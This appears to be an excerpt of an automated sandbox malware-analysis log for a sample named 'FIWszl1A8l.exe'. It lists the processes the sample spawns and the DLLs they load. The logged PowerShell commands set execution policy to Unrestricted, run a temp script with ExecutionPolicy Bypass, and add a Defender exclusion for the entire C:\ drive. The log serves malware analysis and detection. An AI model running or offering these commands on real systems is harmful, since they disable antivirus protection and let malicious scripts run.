Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe "C:\Users\user\AppData\Roaming\FIWszl1A8l.exe"	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1

Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
